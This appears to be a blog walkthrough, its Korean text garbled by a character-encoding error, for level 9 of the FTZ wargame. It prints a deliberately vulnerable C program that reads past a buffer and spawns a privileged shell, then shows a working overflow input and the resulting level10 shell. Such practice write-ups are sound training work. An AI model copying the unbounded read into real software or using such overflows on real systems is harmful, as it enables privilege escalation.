[FTZ] level9 ํ์ด
๐ก FTZ level9 ํ์ด
๋ฌธ์
๊ณ์ : level9/apple
hint
๋ค์์ /usr/bin/bof์ ์์ค์ด๋ค.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
์ด๋ฅผ ์ด์ฉํ์ฌ level10์ ๊ถํ์ ์ป์ด๋ผ.
ํ์ด
bof๋ฅผ ์ด์ฉํด์ buf2์ ๋ฐ์ดํฐ๊ฐ buf๋ฐ์ดํฐ๋ฅผ ๋ฎ์ด์จ์ผ ํฉ๋๋ค.
์ฐ์ buf2์ buf ๊ฐ ๊ฐ๊ฐ ๋ช๋ฐ์ดํธ ๋งํผ ํ ๋น ๋ฐ์๋์ง ํ์ธ ํฉ๋๋ค.
gdb๋ฅผ ์คํํ๋ ค๊ณ ํ๋, permission denied๊ฐ ๋์ต๋๋ค.
๊ทธ๋ฅ ๋ช๊ฐ ์๋๋ brute force๋ฅผ ํด๋ด ๋๋ค.
๋ฐ์ดํฐ์ ํ ๋น์ 4๋ฐ์ดํธ ๋จ์๋ก ๋๊ธฐ ๋๋ฌธ์ 12, 16 , 20 .. ์ด๋ ๊ฒ ์ํ์ ํฉ๋๋ค.
๋ค์๊ณผ ๊ฐ์ด 16๊ฐ์ A๋ก ๋ฎ์ด์ด ๋ค์ ์์ ํ๋ํ ์ ์์์ต๋๋ค.
[level9@ftz level9]$ /usr/bin/bof
It can be overflow : AAAAAAAAAAAAgo
[level9@ftz level9]$ /usr/bin/bof
It can be overflow : AAAAAAAAAAAAAAAAgo
Good Skill!
[level10@ftz level9]$ id
uid=3010(level10) gid=3009(level9) groups=3009(level9)
๋๊ธ๋จ๊ธฐ๊ธฐ